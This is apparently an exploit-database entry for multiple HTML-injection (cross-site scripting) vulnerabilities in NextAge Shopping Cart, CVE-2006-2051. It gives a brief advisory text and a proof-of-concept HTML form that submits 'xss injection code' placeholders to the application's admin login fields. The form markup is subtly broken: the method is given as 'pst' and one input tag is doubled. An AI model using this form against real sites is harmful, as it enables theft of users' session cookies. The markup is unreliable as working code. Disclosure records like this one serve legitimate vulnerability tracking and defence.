NextAge Shopping Cart - Multiple HTML Injection Vulnerabilities

Author: R@1D3N
type: webapps
platform: php
port: 0
date_added: 2006-04-25
date_updated: 2013-08-21
verified: 1
codes: CVE-2006-2051;OSVDB-25265
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/17685/info

NextAge Shopping Cart is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

<form method="pst" action="http://www.example.com/[admin_Path]/index.php">
<input type="text" name="txtuserid" class="INPUT" size="30" value="xss injection code">
<br>
<input type="password" name="txtpass" class="INPUT" size="30" value="xss injection code">
<br>
<input <input type="submit" value="submit" class="button">
</form>